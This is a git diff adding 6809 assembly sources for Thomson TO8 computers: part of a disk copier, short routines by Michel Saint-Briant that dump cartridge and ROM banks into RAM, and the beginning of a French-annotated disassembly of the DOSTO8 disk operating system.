+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ STY >$8500
+ TFR Y,X
+ LDY #$8502
+ STY >$8405
+ LDU #$8504
+C0830 LDY #$0000
+C0840 LDA ,X+
+ CMPX #$9FFF
+ BEQ C0890
+ CMPA ,X
+ BNE C0850
+ CMPA 1,X
+ BNE C0850
+ CMPA 2,X
+ BEQ C0860
+C0850 STA ,U+
+ LEAY 1,Y
+ BRA C0840
+C0860 TFR Y,D
+ LDY >$8405
+ STD ,Y
+ LDB #$00
+ LDA ,X
+ STA ,U+
+C0870 LDA ,X+
+ CMPX #$9FFF
+ BEQ C0900
+ INCB
+ BEQ C0880
+ CMPA -1,U
+ BEQ C0870
+C0880 DECB
+ STB ,U+
+ STU >$8405
+ LEAU 2,U
+ LEAX -1,X
+ BRA C0830
+C0890 TFR Y,D
+ LDY >$8405
+ STD ,Y
+ BRA C0910
+C0900 STB ,U+
+C0910 STU >$8405
+ LDX #$8500
+ LDY >$8402
+C0920 LDA ,X+
+ STA ,Y+
+ CMPY #$E000
+ BNE C0930
+ LDY #$A000
+ LDA >$E7E5
+ INCA
+ CMPA >$8404
+ BEQ $7158 =C0940+1
+ STA >$E7E5
+C0930 CMPX >$8405
+ BNE C0920
+ STY >$8402
+ CLRA
+C0940 TST >$8601
+C0950 TST >$86FE
+C0960 TST >$86FF
+ PULS CC
+ CLR <$D0
+ LDB #$40
+ STB <$D2
+ LDU >$8419
+ STA ,U+
+ STU >$8419
+ RTS
+C0970 PSHS CC
+ ORCC #$50
+ LDX #$A000
+ STX >$8402
+ LDA #$02
+ STA >$E7E5
+ LDA >$8407
+ STA >$604B
+ LDX #$8440
+ STX >$8420
+ LDX #$8580
+ STX >$8422
+C0980 CLR >$6049
+ LDA #$40
+ STA >$6048
+ JSR $E004
+ LDA >$8413
+ BEQ C0990
+ BSR C1010
+C0990 INC >$6049
+ LDA >$8414
+ BEQ C1000
+ BSR C1010
+C1000 LDA >$604B
+ INCA
+ STA >$604B
+ CMPA #$50
+ BNE C0980
+ STA >$8408
+ CLRA
+ PULS CC,PC
+C1010 STA >$E7D2
+ LDX #$83B0
+ LDB #$10
+C1020 LDA ,X+
+ PSHS A
+ DECB
+ BNE C1020
+ LDA #$E7
+ TFR A,DP
+ LDX >$8402
+ LDU >$8422
+ LDA #$01
+C1030 CLR <$D0
+ STA <$D5
+ LDA #$0A
+ STA <$D4
+ LDA #$A1
+ STA <$D3
+ LDD #$041B
+ STB <$D0
+ CMPX #$E000
+ BNE C1040
+ LDX #$A000
+ LDB <$E5
+ INCB
+ CMPB >$8404
+ BEQ C1150
+ STB <$E5
+ NOP
+C1040 LDY #C1720 #$7500
+C1050 LEAY -1,Y
+ BEQ C1140
+ LDB <$D0
+ BITB #$02
+ BEQ C1050
+ LDB <$D3
+C1060 DECA
+ BEQ C1140
+C1070 LDB <$D0
+ BPL C1070
+ LDB <$D3
+ CMPB #$FB
+ BNE C1060
+ CLRA
+C1080 LDB <$D0
+ BPL C1080
+ LDB <$D3
+ STB ,X+
+ STB ,U
+ DECA
+C1090 LDB <$D0
+ BPL C1090
+ LDB <$D3
+ STB ,X+
+ CMPB ,U
+ BNE C1110
+ DECA
+ BNE C1090
+ LEAX >-ç0100,X
+ DECA
+ BRA C1120
+C1100 LDB <$D0
+ BPL C1100
+ LDB <$D3
+ STB ,X+
+C1110 DECA
+ BNE C1100
+C1120 LDB <$D0
+ BITB #$08
+ BEQ C1120
+ BITB #$04
+ BNE C1140
+ LEAU 1,U
+ STA ,U+
+ PULS A
+ TSTA
+ LBNE C1030
+ STU >$8422
+ STX >$8402
+C1130 LDD #$4000
+ STB <$D0
+ STA <$D2
+ RTS
+C1140 BSR C1130
+ LDA #$FF
+ BRA C1160
+C1150 BSR C1130
+ LDA >$604B
+ STA >$8408
+ CLRA
+C1160 PULS B
+ TSTB
+ BNE C1160
+ LEAS 2,S
+ PULS CC,PC
+ NOP
+ NOP
+ NOP
+C1170 TST >$8412
+ LBNE C1710
+ LDX #$A000
+ STX >$8402
+ LDA #$02
+ STA >$E7E5
+ LDA >$8407
+ STA >$604B
+ LDX #$8450
+ STX >$8419
+C1180 LDX >$840E
+ STX >$8410
+ JSR $E09D
+ JSR $E452
+ LDD #$0020
+ STD <$49
+ LDA >$8415
+ BEQ C1190
+ BSR C1210
+C1190 INC >$6049
+ LDA >$8416
+ BEQ C1200
+ BSR C1210
+C1200 LDA >$604B
+ INCA
+ STA >$604B
+ CMPA >$8408
+ BNE C1180
+ CLRA
+ RTS
+C1210 LDU >$8419
+ LDA ,U+
+ STU >$8419
+ TSTA
+ LBEQ C1370
+ CMPA #$FF
+ BEQ C1260
+ JSR $E09D
+ JSR $E0A7
+ JSR $E341
+ LDA #$E7
+ TFR A,DP
+ PSHS CC
+ ORCC #$50
+C1220 LDA <$D1
+ BITA #$40
+ BEQ C1220
+C1230 LDA <$D3
+ LDA <$D0
+ BPL C1230
+C1240 LDA <$D0
+ BPL C1240
+ LDD #$4EFF
+ STD <$D3
+ LDB #$04
+ STB <$D0
+ LDD #$A00A
+ STD <$D3
+ LDX #$1900
+C1250 LDA <$D0
+ BPL C1250
+ LDA #$FE
+ STA <$D3
+ LEAX -1,X
+ BNE C1250
+ PULS CC
+ LDA #$00
+ STA <$D0
+ LDA #$40
+ STA <$D2
+ RTS
+C1260 JSR $E09D
+ JSR $E0A7
+ JSR $E341
+ LDA #$E7
+ TFR A,DP
+ PSHS A,CC
+ ORCC #$50
+C1270 LDA <$D1
+ BITA #$40
+ BEQ C1270
+C1280 LDA <$D3
+ LDA <$D0
+ BPL C1280
+C1290 LDA <$D0
+ BPL C1290
+ LDD #$4EFF
+ STD <$D3
+ LDB #$04
+ STB <$D0
+ LDB #$0C
+C1300 LDA <$D0
+ BPL C1300
+ CLR <$D3
+ DECB
+ BNE C1300
+C1310 LDA <$D0
+ BPL C1310
+ LDD #$A10A
+ STD <$D3
+C1320 LDB <$D0
+ BPL C1320
+ STA <$D3
+C1330 LDB <$D0
+ BPL C1330
+ STA <$D3
+C1340 LDA <$D0
+ BPL C1340
+ LDD #$FEFF
+ STD <$D3
+ LDX #$1900
+C1350 LDA <$D0
+ BPL C1350
+ LDA #$FF
+ STA <$D3
+ LEAX -1,X
+ BNE C1350
+ LDA #$00
+ STA <$D0
+ LDA #$40
+ STA <$D2
+C1360 PULS CC,A
+ RTS
+C1370 LDX >$8402
+ BSR C1430
+ TFR B,A
+ BSR C1430
+ TFR D,U
+ PSHS U
+C1380 BSR C1430
+ TFR B,A
+ BSR C1430
+ TFR D,Y
+ CMPD #$0000
+ BEQ C1400
+C1390 BSR C1430
+ STB ,U+
+ LEAY -1,Y
+ BNE C1390
+C1400 CMPU #$9FFE
+ BEQ C1420
+ BSR C1430
+ TFR B,A
+ BSR C1430
+ STA ,U+
+C1410 STA ,U+
+ DECB
+ BNE C1410
+ CMPU #$9FFE
+ BNE C1380
+C1420 STX >$8402
+ BRA C1450
+C1430 LDB ,X+
+ CMPX #$E000
+ BNE C1440
+ LDX #$A000
+ INC >$E7E5
+C1440 RTS
+C1450 JSR $E09D
+ DEC <$4A
+ BEQ C1360
+ JSR $E0A7
+ JSR $E45A
+ JSR $E341
+ LDD >$9FFC
+ SUBD >$8410
+ BMI C1460
+ LDD #$FFFF
+C1460 TFR D,Y
+ LDA #$E7
+ TFR A,DP
+ LDX ,S
+ PSHS CC
+ ORCC #$50
+C1470 LDA <$D1
+ BITA #$40
+ BEQ C1470
+C1480 LDA <$D3
+ LDA <$D0
+ BPL C1480
+C1490 LDA <$D0
+ BPL C1490
+ LDD #$4EFF
+ STD <$D3
+ LDB #$04
+ STB <$D0
+ LDA #$4E
+C1500 LDB <$D0
+ BPL C1500
+ STA <$D3
+ LEAY 1,Y
+ BNE C1500
+C1510 LDA <$D0
+ BPL C1510
+ CLR <$D3
+ LDU ,X++
+C1520 LDA <$D0
+ BPL C1520
+ CLR <$D3
+ STU <$748A,PCR=C1620+1
+C1530 LDA <$D0
+ BPL C1530
+ CLR <$D3
+ LDB ,X+
+C1540 LDA <$D0
+ BPL C1540
+ CLR <$D3
+ STB <$747D,PCR=C1600+1
+ LDB #$08
+C1550 LDA <$D0
+ BPL C1550
+ CLR <$D3
+ DECB
+ BNE C1550
+C1560 LDA <$D0
+ BPL C1560
+ LDD #$A10A
+ STD <$D3
+C1570 LDB <$D0
+ BPL C1570
+ STA <$D3
+C1580 LDB <$D0
+ BPL C1580
+ STA <$D3
+C1590 LDA <$D0
+ BPL C1590
+C1600 LDD #$20FF
+ STD <$D3
+C1610 LDA <$D0
+ BPL C1610
+ LDA ,X+
+ STA <$D3
+C1620 CMPX #$F8F8
+ BCS C1610
+ LDX <$758A,PCR=C1820+3
+C1630 LDA <$D0
+ BPL C1630
+ LDA ,X+
+ STA <$D3
+ CMPX #$9FFC
+ BCS C1510
+C1640 LDD <$D0
+ BPL C1640
+ BITB #$40
+ BEQ C1670
+ LDD #$A10A
+ STD <$D3
+C1650 LDA <$D0
+ BPL C1650
+ LDD #$FBFF
+ STD <$D3
+ NOP
+ NOP
+ PULS CC,X
+C1660 CLR <$D0
+ LDA #$40
+ STA <$D2
+ RTS
+C1670 CLRB
+C1680 INCB
+ BEQ C1690
+ PSHS X
+ PULS X
+ NOP
+ NOP
+ LDA <$D1
+ BITA #$40
+ BEQ C1680
+ CLRA
+ ADDD >$8410
+ SUBD #$0001
+ BRA C1700
+C1690 LDD >$840E
+C1700 STD >$8410
+ PULS CC
+ BSR C1660
+ LBRA C1450
+C1710 PSHS CC
+ ORCC #$50
+ LDX #$A000
+ STX >$8402
+ LDA #$02
+ STA >$83F7
+ LDA >$8407
+ STA >$604B
+ LDX #$8440
+ STX >$8420
+C1720 LDX #$8580
+ STX >$8422
+C1730 LDA #$40
+ STA >$6048
+ JSR $E004
+ CLR >$6049
+ LDA >$8415
+ BEQ C1740
+ BSR C1770
+C1740 INC >$6049
+ LDA >$8416
+ BEQ C1750
+ BSR C1770
+C1750 LDA >$604B
+ INCA
+ STA >$604B
+ CMPA >$8408
+ BNE C1730
+ CLRA
+C1760 PULS CC,PC
+C1770 STA >$E7D2
+ STA >$841F
+ LDA #$03
+ STA >$841E
+C1780 DEC >$841E
+ BNE C1790
+ COMA
+ LEAS 2,S
+ BRA C1760
+C1790 LDX #$83B0
+ LDB #$10
+C1800 LDA ,X+
+ PSHS A
+ DECB
+ BNE C1800
+ LDA #$E7
+ TFR A,DP
+ LDX >$8402
+ LDA >$83F7
+ STA >$E7E5
+ LDU >$8422
+ LDA #$01
+C1810 CLR <$D0
+ STA <$D5
+ LDA #$0A
+ STA <$D4
+ LDA #$A1
+ STA <$D3
+ LDB #$19
+ STB <$D0
+ CMPX #$E000
+ BNE C1820
+ LDX #$A000
+ INC >$E7E5
+ LDB >$E7E5
+ CMPB >$8404
+ BEQ C1920
+C1820 LDY #$5D00
+C1830 LEAY -1,Y
+ BEQ C1890
+ LDB <$D0
+ BITB #$02
+ BEQ C1830
+ STA <$D3
+C1840 LDB <$D0
+ BPL C1840
+ STA <$D3
+C1850 LDB <$D0
+ BPL C1850
+ LDA #$FB
+ STA <$D3
+ LDD ,U++
+ TSTB
+ BEQ C1870
+ CLRB
+C1860 TST <$D0
+ BPL C1860
+ STA <$D3
+ DECB
+ BNE C1860
+ BRA C1880
+C1870 LDA <$D0
+ BPL C1870
+ LDA ,X+
+ STA <$D3
+ DECB
+ BNE C1870
+C1880 LDB <$D0
+ BITB #$08
+ BEQ C1880
+ PULS A
+ TSTA
+ BNE C1810
+ STU >$8422
+ STX >$8402
+ LDA >$E7E5
+ STA >$83F7
+ LDD #$4000
+ STB <$D0
+ STA <$D2
+ RTS
+C1890 PULS A
+ CMPA #$00
+ BNE C1890
+ LDX #$83B0
+ LDB #$10
+C1900 LDA ,X+
+ PSHS A
+ DECB
+ BNE C1900
+ LDA #$01
+ PSHS A
+ LDU #$9A00
+C1910 PULS A
+ CMPA #$00
+ BEQ C1930
+C1920 LDB #$01
+ STD 2,U
+ LDA >$604B
+ CLRB
+ STD ,U
+ LDY #$0004
+ LDD #$B230
+ JSR $E364
+ STD ,U++
+ BRA C1910
+C1930 LDA #$40
+ STA >$6048
+ JSR $E004
+ LDA >$841F
+ STA >$E7D2
+ LDU #$9A00
+ LDA #$10
+ PSHS A
+C1940 LDA <$D1
+ BITA #$40
+ BEQ C1940
+C1950 LDA <$D3
+ LDA <$D0
+ BPL C1950
+C1960 LDA <$D0
+ BPL C1960
+ LDD #$4EFF
+ STD <$D3
+ LDB #$04
+ STB <$D0
+ LDA #$1E
+C1970 LDB <$D0
+ BPL C1970
+ LDB #$4E
+ STB <$D3
+ DECA
+ BNE C1970
+C1980 LDA #$0C
+C1990 LDB <$D0
+ BPL C1990
+ CLR <$D3
+ DECA
+ BNE C1990
+C2000 LDB <$D0
+ BPL C2000
+ LDD #$A10A
+ STD <$D3
+C2010 LDB <$D0
+ BPL C2010
+ STA <$D3
+C2020 LDB <$D0
+ BPL C2020
+ STA <$D3
+C2030 LDA <$D0
+ BPL C2030
+ LDD #$FEFF
+ STD <$D3
+ LDA #$06
+C2040 LDB <$D0
+ BPL C2040
+ LDB ,U+
+ STB <$D3
+ DECA
+ BNE C2040
+ LDA #$16
+C2050 LDB <$D0
+ BPL C2050
+ LDB #$4E
+ STB <$D3
+ DECA
+ BNE C2050
+ LDA #$0C
+C2060 LDB <$D0
+ BPL C2060
+ CLR <$D3
+ DECA
+ BNE C2060
+C2070 LDB <$D0
+ BPL C2070
+ LDD #$A10A
+ STD <$D3
+C2080 LDB <$D0
+ BPL C2080
+ STA <$D3
+C2090 LDB <$D0
+ BPL C2090
+ STA <$D3
+C2100 LDA <$D0
+ BPL C2100
+ LDD #$FBFF
+ STD <$D3
+ CLRA
+C2110 LDB <$D0
+ BPL C2110
+ LDB #$E5
+ STB <$D3
+ DECA
+ BNE C2110
+C2120 LDB <$D0
+ BPL C2120
+ LDB #$78
+ STB <$D3
+C2130 LDB <$D0
+ BPL C2130
+ LDB #$27
+ STB <$D3
+ LDA #$2C
+C2140 LDB <$D0
+ BPL C2140
+ LDB #$4E
+ STB <$D3
+ DECA
+ BNE C2140
+ DEC ,S
+ LBNE C1980
+C2150 LDA <$D1
+ BITA #$40
+ BNE C2170
+C2160 LDA <$D0
+ BPL C2160
+ STB <$D3
+ BRA C2150
+C2170 PULS A
+ LBRA C1780
+C2180 TFR Y,D
+ BCS $771F
+ ASRA
+ INC <$14
+ BLS $7769
+ NOP
diff --git a/code/3rdparty/sources3-lambinet/Copiers/COPYCART.ASM b/code/3rdparty/sources3-lambinet/Copiers/COPYCART.ASM
new file mode 100644
index 0000000..1057b7c
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/Copiers/COPYCART.ASM
@@ -0,0 +1,91 @@
+*** COPYCART ***************************
+* *
+* LECTURE d'une cartouche de 4K à 64K *
+* *
+*** par Michel SAINT-BRIANT/ASCI (c) ***
+
+ ORG $8000
+
+* Sauvegarde des registres
+
+ PSHS U,X,Y,DP,A,B,CC
+
+* On sauvegarde la valeur de $E7C3 pour
+* restauration en fin de programme.
+
+ LDA $E7C3
+ PSHS A
+
+* On commute l'espace logique $0/$3FFF
+* sur la cartouche en mettant le bit 2
+* de $E7C3 à 0 (sinon à 1 ce sont les
+* 64 Ko de BASIC512+BASIC1.0+DOS icon.)
+
+ ANDA #$FB
+ STA $E7C3
+
+* Initialisation de la bank courante
+* en bank 3 (no BASIC donc valeur=4)
+
+ LDA #4
+ STA $E7E5
+
+* Copie de la première banque-cartouche
+* à lire en BANK 3 de $A000 à $DFFF
+
+ STA >0 la commutation des
+ * slots se fait en écri-
+ * vant à l'adresse dont
+ * le no est no du slot.
+
+ BSR COPIE
+
+* Copie de la 2è banque de la cartouche
+* si elle existe sinon la 1 est recopiée
+* à lire en BANK 4 de $A000 à $DFFF
+
+ STA >1
+ BSR COPIE
+
+* Copie de la 3è banque de la cartouche
+* si elle existe sinon la 1 est recopiée
+* à lire en BANK 5 de $A000 à $DFFF
+
+ STA >2
+ BSR COPIE
+
+* Copie de la 4è banque de la cartouche
+* si elle existe sinon la 1 est recopiée
+* à lire en BANK 6 de $A000 à $DFFF
+
+ STA >3
+ BSR COPIE
+
+* On restaure le registre $E7C3
+
+ PULS A
+ STA $E7C3
+
+* On se remet sur le slot 0 pour
+* 'retomber' en BASIC512 si c'esl le cas
+
+ STA >0
+
+* On restaure les registres et on sort.
+
+ PULS CC,B,A,DP,Y,X,U,PC
+
+**********************
+* copier les banques *
+**********************
+
+COPIE LDX #$0000
+ LDY #$A000
+COP LDU ,X++
+ STU ,Y++
+ CMPX #$4000
+ BLO COP
+ INC $E7E5 bank suivante
+ RTS
+
+ END
diff --git a/code/3rdparty/sources3-lambinet/Copiers/COPYROM0.ASM b/code/3rdparty/sources3-lambinet/Copiers/COPYROM0.ASM
new file mode 100644
index 0000000..bc67f12
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/Copiers/COPYROM0.ASM
@@ -0,0 +1,69 @@
+*** COPYROM0 ***************************
+* *
+* LECTURE DES 64 Ko ROM en $0000/$3FFF *
+* *
+*** par Michel SAINT-BRIANT/ASCI (c) ***
+
+ ORG $8000
+
+* Sauvegarde des registres
+
+ PSHS U,X,Y,DP,A,B,CC
+
+* Initialisation de la bank courante
+* en bank 3 (no BASIC donc valeur=4)
+
+ LDA #4
+ STA $E7E5
+
+* Copie de BASIC512 banque 0
+* à lire en BANK 3 de $A000 à $DFFF
+
+ STA >0 la commutation des
+ * slots se fait en écri-
+ * vant à l'adresse dont
+ * le no est no du slot.
+
+ BSR COPIE
+
+* Copie de BASIC512 banque 1
+* à lire en BANK 4 de $A000 à $DFFF
+
+ STA >1
+ BSR COPIE
+
+* Copie de BASIC 1.0 banque 2
+* à lire en BANK 5 de $A000 à $DFFF
+
+ STA >2
+ BSR COPIE
+
+* Copie du DOS ICONIQUE banque 3
+* à lire en BANK 6 de $A000 à $DFFF
+
+ STA >3
+ BSR COPIE
+
+* On se remet sur le slot 0 pour
+* 'retomber' en BASIC512 si c'esl le cas
+
+ STA >0
+
+* On restaure les registres et on sort.
+
+ PULS CC,B,A,DP,Y,X,U,PC
+
+**********************
+* copier les banques *
+**********************
+
+COPIE LDX #$0000
+ LDY #$A000
+COP LDU ,X++
+ STU ,Y++
+ CMPX #$4000
+ BLO COP
+ INC $E7E5 bank suivante
+ RTS
+
+ END
diff --git a/code/3rdparty/sources3-lambinet/Copiers/COPYROME.ASM b/code/3rdparty/sources3-lambinet/Copiers/COPYROME.ASM
new file mode 100644
index 0000000..43f19a9
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/Copiers/COPYROME.ASM
@@ -0,0 +1,55 @@
+*** COPYROME ***************************
+* *
+* LECTURE DES 16 Ko ROM en $E000/$FFFF *
+* ( moniteur en deux parties de 8 Ko ) *
+* *
+*** par Michel SAINT-BRIANT/ASCI (c) ***
+
+ ORG $8000
+
+* Sauvegarde des registres
+
+ PSHS U,X,Y,DP,A,B,CC
+
+* Initialisation de la bank courante
+* en bank 3 (no BASIC donc valeur=4)
+
+ LDA #4
+ STA $E7E5
+
+* Copie du moniteur partie haute
+* à lire en BANK 3 de $C000 à $DFFF
+
+ LDA $E7C3 la commutation des
+ ORA #$10 deux parties se
+ STA $E7C3 joue sur le bit 4
+ * du 6846 en $E7C3
+ * =1 -> part.haute
+ LDX #$C000
+ LDY #$E000
+COP0 LDU ,Y++
+ STU ,X++
+ CMPX #$E000
+ BLO COP0
+
+* Copie du moniteur partie basse
+* à lire en BANK 3 de $A000 à $BFFF
+
+ LDA $E7C3 la commutation des
+ ANDA #$EF deux parties se
+ STA $E7C3 joue sur le bit 4
+ * du 6846 en $E7C3
+ * =0 -> part.basse
+ LDX #$A000
+ LDY #$E000
+COP1 LDU ,Y++
+ STU ,X++
+ CMPX #$C000
+ BLO COP1
+
+
+* On restaure les registres et on sort.
+
+ PULS CC,B,A,DP,Y,X,U,PC
+
+ END
diff --git a/code/3rdparty/sources3-lambinet/DOSTO8C.ASM b/code/3rdparty/sources3-lambinet/DOSTO8C.ASM
new file mode 100644
index 0000000..98fe236
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/DOSTO8C.ASM
@@ -0,0 +1,1040 @@
+*** DOSTO8 + quelques commentaires ***
+*** relatifs au fichier produit par **
+*** le sourcer et ce qu'il va falloir
+*** corriger pour un source impeccable
+
+
+* on placera ici un ORG $E000 (on aurait
+* pu le faire sous CODEVIEW !)
+
+ FCC #MTD:# code d'identifica-
+ * tion du DOS
+
+D0000 LBRA D0090 redirections
+ LBRA D0020
+D0010 LBRA D1210
+ LBSR $ECB8 <
+ LBSR $ECB8 < cette adresse
+ LBSR $ECB8 <
+ LBSR $ECB8 < est fonction du
+ LBSR $ECB8 <
+ LBSR $ECB8 < modèle (TO8 ou
+ LBSR $ECB8 <
+ LBSR $ECB8 < 8D ou 9+)
+D0020 BSR D0140
+ CLR <$49
+ BSR D0150
+ LBSR D0260
+ LDA #$02
+D0030 PSHS A
+ CLR <$58
+D0040 LDD #$0001
+ STD <$4B
+ LDU #$6200
+ STU <$4F
+ LBSR D0940
+ BSR D0170
+ LDU <$4F
+ BCC D0050
+ LDA <$58
+ BNE D0070
+ COM <$58
+ BRA D0040
+D0050 LDY #$627F
+ PSHS Y
+ LDA #$55
+D0060 DEC ,U
+ COM ,U
+ ADDA ,U+
+ CMPU ,S
+ BNE D0060
+ PULS Y
+ CMPA ,U
+ BNE D0080
+ JMP $6200
+D0070 PULS A
+ DECA
+ BNE D0030
+D0080 CLR <$80
+ JMP [$001E]
+D0090 PSHS U,Y,X,DP,B,A,CC
+ BSR D0140
+ LDA <$48
+ CMPA #$01
+ BEQ D0100
+ LDA <$49
+ CMPA #$04
+ BEQ D0130
+D0100 BSR D0150
+ BSR D0190
+D0110 BSR D0170
+D0120 PULS A
+ EXG A,CC
+ LSRA
+ PULS A,B,DP,X,Y,U,PC
+D0130 LDU #D0000 #$E004
+ STU <$55 ^^^^^^
+* cette valeur est
+* une adresse qui est bonne (elle repré-
+* sente le point d'entrée du DOS) on
+* effacera donc #$E004
+
+ JSR $FFA0 < cette adresse d'
+ BRA D0120 une entrée du
+D0140 LDA #$60 moniteur diffère
+ TFR A,DP selon les machi-
+ LDX #$E7D0 nes ...
+ CLR <$4E
+ RTS
+D0150 LDD <$48
+ CMPA #$01
+ BNE D0160
+ LDB #$01
+D0160 LDU #D0180 #$E0BE
+ LDA B,U ^^^^^^
+* cette valeur est
+* une adresse qui est bonne (elle repré-
+* sente le début de la table des valeurs
+* pour le contrôleur de disquettes), on
+* effacera donc #$E0BE
+
+ STA 2,X
+ STA <$57
+ RTS
+D0170 LDA #$40
+ STA 2,X
+ RTS
+
+* Table des valeurs des commandes pour
+* le no de lecteur en $E7D2
+
+D0180 FCB $41,$01,$42,$02
+
+D0190 LDA #$02
+ PSHS A
+D0200 CLRA
+ LDB <$48
+D0210 LSRB
+ INCA
+ BCC D0210
+ DECA
+ ASLA
+ LDY #D0250 #$E0F0
+ JSR [A,Y] ^^^^^^
+* cette valeur est
+* une adresse qui est bonne (elle repré-
+* sente le début de la table des adres-
+* ses des routines des fonctions du DOS)
+* on effacera donc #$E0F0
+
+ BCC D0240
+ LDA <$4E
+ BITA #$51
+ BNE D0240
+D0220 DEC ,S
+ BEQ D0230
+ CLR <$4E
+ CMPA #$08
+ BEQ D0200
+ BSR D0310
+ BCS D0220
+ BRA D0200
+D0230 COMB
+D0240 PULS A,PC
+
+* Table des adresses des routines du DOS
+
+D0250 FDB D0260 =$E0FE
+ FDB D0940 =$E3A7
+ FDB D0380 =$E16E
+ FDB D0410 =$E177
+ FDB D0390 =$E174
+ FDB D0310 =$E134
+ FDB D1100 =$E452
+
+* On effacera les anciennes valeurs à
+* droite
+
+D0260 BSR D0310
+ BCS D0300
+ LDA #$01
+ STA <$4B
+ LBSR D1160
+ LDB #$44
+ LDA 1,X
+ BITA #$08
+ BEQ D0270
+ LDB #$43
+D0270 STB <$4E
+ BSR D0310
+ CLR <$52
+ CLR <$54
+ CLR ,X
+ CLR <$58
+ LDD <$E9
+ SUBD <$ED
+ BGE D0280
+ COMA
+ COMB
+ ADDD #$0001
+D0280 TSTA
+ BNE D0290
+ TSTB
+ BPL D0290
+ COM <$58
+D0290 CLRA
+D0300 RTS
+D0310 LDB #$64
+D0320 LDA 1,X
+ BITA #$08
+ BNE D0330
+ LDA <$57
+ ORA #$10
+ STA 2,X
+ ANDA #$EF
+ STA 2,X
+ BSR D0360
+ DECB
+ LBEQ D1140
+ BRA D0320
+D0330 BSR D0350
+ LBSR D1200
+ CLR ,Y
+ CLR 6,X
+ RTS
+D0340 LDY #$006C
+ BRA D0370
+D0350 LDY #$0750
+ BRA D0370
+D0360 LDY #$02EC
+D0370 LEAY -1,Y
+ BNE D0370
+ RTS
+D0380 LDA #$FF
+ STA <$58
+ CLRA
+ RTS
+D0390 CLR <$58
+D0400 RTS
+D0410 LBSR D1100
+ BCS D0400
+ LDA 1,X
+ BITA #$04
+ BEQ D0420
+ LDA #$01
+ LBRA D1150
+D0420 LDA <$58
+ LBNE D0570
+ LBSR D0860
+ LDB #$19
+ PSHS CC
+ LBSR D0930
+ LDY #$7500
+D0430 LEAY -1,Y
+ LBEQ D1060
+ LDB ,X
+ BITB #$02
+ BEQ D0430
+ STA 3,X
+D0440 LDB ,X
+ BPL D0440
+ STA 3,X
+D0450 LDB ,X
+ BPL D0450
+ LDB #$FB
+ STB 3,X
+ CLRA
+D0460 LDB ,X
+ BPL D0460
+ LDB ,U+
+ STB 3,X
+ DECA
+ BNE D0460
+D0470 LDB ,X
+ BITB #$08
+ BEQ D0470
+ BSR D0340
+ TST <$48
+ BPL D0550
+D0480 LBSR D1120
+ LDB #$1B
+ LBSR D0930
+ LDA #$04
+ LDY #$7500
+D0490 LEAY -1,Y
+ LBEQ D0740
+ LDB ,X
+ BITB #$02
+ BEQ D0490
+ LDB 3,X
+D0500 DECA
+ LBEQ D1080
+D0510 LDB ,X
+ BPL D0510
+ LDB 3,X
+ CMPB #$FB
+ BNE D0500
+ CLRA
+D0520 LDB ,X
+ BPL D0520
+ LDB 3,X
+ CMPB ,U+
+ BNE D0530
+ DECA
+ BNE D0520
+D0530 LDB ,X
+ BITB #$08
+ BEQ D0530
+ TSTA
+ BNE D0540
+ BITB #$04
+D0540 LBNE D0740
+D0550 PULS CC
+ CLR ,X
+ RTS
+D0560 PSHS CC
+ BRA D0480
+D0570 LBSR D0890
+ LBSR D0900
+ PSHS CC
+ PSHS B,A
+ LBSR D0760
+ BCC D0580
+ PULS A,B
+ LBRA D1060
+D0580 LDB #$FF
+ STB 4,X
+ LDD #$0624
+ STB ,X
+D0590 LDB ,X
+ BPL D0590
+ CLR 3,X
+ DECA
+ BNE D0590
+D0600 LDB ,X
+ BPL D0600
+ LDD #$FBC7
+ STD 3,X
+ LDB #$FF
+D0610 LDA ,X
+ BPL D0610
+ LDA ,U+
+ STD 3,X
+ LDA #$7F
+D0620 LDB ,X
+ BPL D0620
+ LDB ,U+
+ STB 3,X
+ DECA
+ BNE D0620
+D0630 LDB ,X
+ BPL D0630
+ PULS B
+ STB 3,X
+ COMA
+ BNE D0630
+D0640 LDB ,X
+ BPL D0640
+ CLR 3,X
+D0650 LDB ,X
+ BPL D0650
+ LDB #$20
+ STB ,X
+D0660 LDB ,X
+ BPL D0660
+ LDB 3,X
+ COMA
+ BNE D0660
+ LEAS -2,S
+ LBSR D0340
+ TST <$48
+ BPL D0720
+D0670 LBSR D1120
+ BSR D0760
+ BCS D0730
+ LDB #$FB
+ STB 3,X
+ LDD #$8038
+ STB ,X
+ LDY #$0100
+D0680 LEAY -1,Y
+ BEQ D0730
+ LDB ,X
+ BITB #$01
+ BEQ D0680
+ LDB 3,X
+ LDB #$28
+ STB ,X
+D0690 LDB ,X
+ BPL D0690
+ LDB 3,X
+ CMPB ,U+
+ BNE D0730
+ DECA
+ BNE D0690
+D0700 LDA ,X
+ BPL D0700
+ LDA 3,X
+D0710 LDB ,X
+ BPL D0710
+ LDB 3,X
+ CMPD ,S
+ BNE D0730
+D0720 PULS A,B
+ PULS CC
+ CLR ,X
+ RTS
+D0730 PULS A,B
+D0740 LDA #$20
+ LBRA D1090
+D0750 PSHS CC
+ LDD #$5D30
+ PSHS B,A
+ BRA D0670
+D0760 LDA #$C7
+ STA 4,X
+ LDA #$FE
+ STA 3,X
+ LDA #$30
+ LDU <$4F
+ ORCC #$50
+D0770 LDB #$38
+ STB ,X
+ LDY #$1700
+D0780 LEAY -1,Y
+ BEQ D0850
+ LDB ,X
+ BITB #$01
+ BEQ D0780
+ LDB 3,X
+ LDB #$28
+ STB ,X
+D0790 LDB ,X
+ BPL D0790
+ LDB 3,X
+ CMPB <$4B
+ BNE D0840
+D0800 LDB ,X
+ BPL D0800
+ LDB 3,X
+ BNE D0840
+D0810 LDB ,X
+ BPL D0810
+ LDB 3,X
+ CMPB <$4C
+ BNE D0840
+D0820 LDB ,X
+ BPL D0820
+ LDB 3,X
+ BNE D0840
+ LBSR D0340
+ CLRA
+D0830 LDA ,X
+ RTS
+D0840 DECA
+ BNE D0770
+D0850 COMB
+ BRA D0830
+D0860 LDB <$4B
+ CMPB #$39
+ BPL D0870
+ LDD #$9F20
+ BRA D0880
+D0870 LDD #$1F22
+D0880 STA 7,X
+ STB 1,X
+ RTS
+D0890 LDA #$BF
+ STA 7,X
+ CLR 1,X
+ RTS
+D0900 LDU <$4F
+ LDY #$0080
+ LDD #$BF84
+D0910 PSHS B,A
+D0920 LDA ,S
+ EORA ,U+
+ PSHS A
